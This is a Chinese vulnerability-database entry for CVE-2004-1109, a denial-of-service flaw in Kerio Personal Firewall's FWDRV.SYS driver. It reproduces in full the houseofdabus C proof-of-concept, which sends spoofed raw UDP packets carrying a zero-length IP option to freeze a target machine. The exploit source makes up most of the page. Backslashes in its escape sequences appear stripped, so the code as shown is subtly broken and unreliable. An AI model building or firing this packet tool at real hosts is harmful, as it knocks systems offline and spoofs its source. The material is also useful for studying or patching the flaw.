Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞

Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞

漏洞ID 1108275 漏洞类型 未知
发布时间 2004-11-12 更新时间 2005-10-20
图片[1]-Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞-安全小百科CVE编号 CVE-2004-1109
图片[2]-Kerio PersonalFirewall FWDRV.SYS 拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200501-222
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/626
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-222
|漏洞详情
KerioPersonalFirewall是一款个人桌面系统防火墙。KerioPersonalFirewall4.1.1及之前版本中的FWDRV.SYS驱动存在拒绝服务漏洞。远程攻击者可通过IPOption长度为0的TCP、UDP或ICMP包,使系统CPU耗尽或由于死循环导致系统冻结,从而产生拒绝服务。
|漏洞EXP
/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
*
* Copyright (c) 2004 houseofdabus
*
* Kerio Personal Firewall Multiple IP Options Denial of Service PoC
*
* Coded by
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* Bug discoveried by eEye:
* http://www.eeye.com/html/research/advisories/AD20041109.html
*
* ---------------------------------------------------------------------
* Tested on:
*    - Kerio Personal Firewall 4.1.1
*
* Systems Affected:
*    - Kerio Personal Firewall 4.1.1 and prior
*
* ---------------------------------------------------------------------
* Description:
*   The vulnerability allows a remote attacker to reliably render
*   a system inoperative with one single packet. Physical access is
*   required in order to bring an affected system out of this
*   "frozen" state. This specific flaw exists within the component
*   that performs low level processing of TCP, UDP, and ICMP packets.
*
* ---------------------------------------------------------------------
* Compile:
* Win32/VC++  : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
* Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
* Linux       : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
*   HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
*
*           -fi:IP    From (sender) IP address
*           -ti:IP    To (target) IP address
*           -n:int    Number of packets
*
* ---------------------------------------------------------------------
*
*   This is provided as proof-of-concept code only for educational
*   purposes and testing by authorized individuals with permission to
*   do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif

/* Define the IP header */
typedef struct ip_hdr {
   unsigned char  ip_verlen;        /* IP version & length */
   unsigned char  ip_tos;           /* IP type of service */
   unsigned short ip_totallength;   /* Total length */
   unsigned short ip_id;            /* Unique identifier */
   unsigned short ip_offset;        /* Fragment offset field */
   unsigned char  ip_ttl;           /* Time to live */
   unsigned char  ip_protocol;      /* Protocol */
   unsigned short ip_checksum;      /* IP checksum */
   unsigned int   ip_srcaddr;       /* Source address */
   unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
   unsigned short src_portno;       /* Source port number */
   unsigned short dst_portno;       /* Destination port number */
   unsigned short udp_length;       /* UDP packet length */
   unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;

char udpmsg[] =
"x4bx65x72x69x6fx20x50x65x72x73x6fx6ex61x6cx20x46"
"x69x72x65x77x61x6cx6cx20x44x6fx53x20x50x6fx43x20"
"x28x34x2ex31x2ex31x20x61x6ex64x20x70x72x69x6fx72"
"x29x2ex20x43x6fx70x79x72x69x67x68x74x20x28x63x29"
"x20x32x30x30x34x20x68x6fx75x73x65x6fx66x64x61x62"
"x75x73x2e";

/* globals */
unsigned long  dwToIP,               /* IP to send to */
              dwFromIP;             /* IP to send from (spoof) */
unsigned short iToPort,              /* Port to send to */
              iFromPort;            /* Port to send from (spoof) */
unsigned long  dwCount;              /* Number of times to send */
char           strMessage[MAX_MESSAGE]; /* Message to send */

void
usage(char *progname) {
       printf("Usage:nn");
   printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]nn", progname);
   printf("       -fi:IP    From (sender) IP addressn");
   printf("       -ti:IP    To (target) IP addressn");
   printf("       -n:int    Number of packetsn");
   exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
   int                i;

   iToPort = 53;
   iFromPort = DEFAULT_PORT;
   dwToIP = inet_addr(DEFAULT_IP);
   dwFromIP = inet_addr(DEFAULT_IP);
   dwCount = DEFAULT_COUNT;
       memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

   for(i = 1; i < argc; i++) {
       if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
           switch (tolower(argv[i][1])) {
               case 'f':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwFromIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 't':
                   switch (tolower(argv[i][2])) {
                       case 'i':
                           if (strlen(argv[i]) > 4)
                               dwToIP = inet_addr(&argv[i][4]);
                           break;
                       default:
                           usage(argv[0]);
                           break;
                   }
                   break;
               case 'n':
                   if (strlen(argv[i]) > 3)
                       dwCount = atol(&argv[i][3]);
                   break;
               default:
                   usage(argv[0]);
                   break;
           }
       }
   }
   return;
}

/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
   unsigned long cksum=0;

   while (size > 1) {
       cksum += *buffer++;
       size  -= sizeof(unsigned short);
   }
   if (size) {
       cksum += *(unsigned char *)buffer;
   }
   cksum = (cksum >> 16) + (cksum & 0xffff);
   cksum += (cksum >>16);

   return (unsigned short)(~cksum);
}

int
main(int argc, char **argv)
{
#ifdef _WIN32
   WSADATA            wsd;
#endif
   int                s;
#ifdef _WIN32
       BOOL                bOpt;
#else
       int                bOpt;
#endif
   struct sockaddr_in remote;
   IP_HDR             ipHdr;
   UDP_HDR            udpHdr;
   int                ret;
   unsigned long      i;
   unsigned short     iTotalSize,
                      iUdpSize,
                      iUdpChecksumSize,
                      iIPVersion,
                      iIPSize,
                      cksum = 0;
   char               buf[MAX_PACKET],
                      *ptr = NULL;
#ifdef _WIN32
   IN_ADDR            addr;
#else
       struct sockaddr_in addr;
#endif

       printf("nKerio Personal Firewall Multiple IP Options Denial of Service PoCnn");
       printf("tCopyright (c) 2004 .::[ houseofdabus ]::.nn");

       if (argc < 3) usage(argv[0]);

   /* Parse command line arguments and print them out */
   ValidateArgs(argc, argv);
#ifdef _WIN32
   addr.S_un.S_addr = dwFromIP;
   printf("[*] From IP: <%s>, port: %dn", inet_ntoa(addr), iFromPort);
   addr.S_un.S_addr = dwToIP;
   printf("[*] To   IP: <%s>, port: %dn", inet_ntoa(addr), iToPort);
   printf("[*] Count:   %dn", dwCount);
#else
   addr.sin_addr.s_addr = dwFromIP;
   printf("[*] From IP: <%s>, port: %dn", inet_ntoa(addr.sin_addr), iFromPort);
   addr.sin_addr.s_addr = dwToIP;
   printf("[*] To   IP: <%s>, port: %dn", inet_ntoa(addr.sin_addr), iToPort);
   printf("[*] Count:   %dn", dwCount);
#endif

#ifdef _WIN32
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
       printf("[-] WSAStartup() failed: %dn", GetLastError());
       return -1;
   }
#endif
   /*  Creating a raw socket */
   s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
   if (s == INVALID_SOCKET) {
       printf("[-] WSASocket() failed: %dn", WSAGetLastError());
       return -1;
   }
#endif

   /* Enable the IP header include option */
#ifdef _WIN32
   bOpt = TRUE;
#else
   bOpt = 1;
#endif
   ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
   if (ret == SOCKET_ERROR) {
       printf("[-] setsockopt(IP_HDRINCL) failed: %dn", WSAGetLastError());
       return -1;
   }
#endif
   /* Initalize the IP header */
   iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;

   iIPVersion = 4;
   iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

   iIPSize += 1; /* IP options */

   ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
   ipHdr.ip_tos = 0;                         /* IP type of service */
   ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
   ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */
   ipHdr.ip_offset = 0;             /* Fragment offset field */
   ipHdr.ip_ttl = 128;              /* Time to live */
   ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */
   ipHdr.ip_checksum = 0 ;          /* IP checksum */
   ipHdr.ip_srcaddr = dwFromIP;     /* Source address */
   ipHdr.ip_destaddr = dwToIP;      /* Destination address */

   /* Initalize the UDP header */
   iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;

   udpHdr.src_portno = htons(iFromPort);
   udpHdr.dst_portno = htons(iToPort);
   udpHdr.udp_length = htons(iUdpSize);
   udpHdr.udp_checksum = 0 ;

       iUdpChecksumSize = 0;
   ptr = buf;
       memset(buf, 0, MAX_PACKET);

   memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));
   ptr += sizeof(ipHdr.ip_srcaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

   memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
   ptr += sizeof(ipHdr.ip_destaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

   ptr++;
   iUdpChecksumSize += 1;

   memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
   ptr += sizeof(ipHdr.ip_protocol);
   iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

   memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
   ptr += sizeof(udpHdr.udp_length);
   iUdpChecksumSize += sizeof(udpHdr.udp_length);

   memcpy(ptr, &udpHdr, sizeof(udpHdr));
   ptr += sizeof(udpHdr);
   iUdpChecksumSize += sizeof(udpHdr);

       for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
       *ptr = strMessage[i];
   iUdpChecksumSize += sizeof(udpmsg)-1;

   cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
   udpHdr.udp_checksum = cksum;

   memset(buf, 0, MAX_PACKET);
   ptr = buf;

   memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);

   /* IP option (length = 0x00) */
   memcpy(ptr, "x88x00x12x34", 4);   ptr += 4;

   memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
   memcpy(ptr, strMessage, sizeof(udpmsg)-1);

   remote.sin_family = AF_INET;
   remote.sin_port = htons(iToPort);
   remote.sin_addr.s_addr = dwToIP;

   for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
       ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
           sizeof(remote));

       if (ret == SOCKET_ERROR) {
           printf("[-] sendto() failed: %dn", WSAGetLastError());
           break;
       } else
#else
       ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
           sizeof(remote));
#endif
           printf("[+] sent %d bytesn", ret);
   }

#ifdef _WIN32
   closesocket(s);
   WSACleanup();
#endif

   return 0;
}

// milw0rm.com [2004-11-12]
|参考资料

来源:BID
名称:11639
链接:http://www.securityfocus.com/bid/11639
来源:XF
名称:kerio-pf-packet-dos(17992)
链接:http://xforce.iss.net/xforce/xfdb/17992
来源:www.kerio.com
链接:http://www.kerio.com/security_advisory.html
来源:EEYE
名称:AD20041109
链接:http://www.eeye.com/html/research/advisories/AD20041109.html

相关推荐: HP DESMS权限许可和访问控制漏洞

HP DESMS权限许可和访问控制漏洞 漏洞ID 1207121 漏洞类型 未知 发布时间 1999-03-01 更新时间 1999-03-01 CVE编号 CVE-1999-0436 CNNVD-ID CNNVD-199903-013 漏洞平台 N/A CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享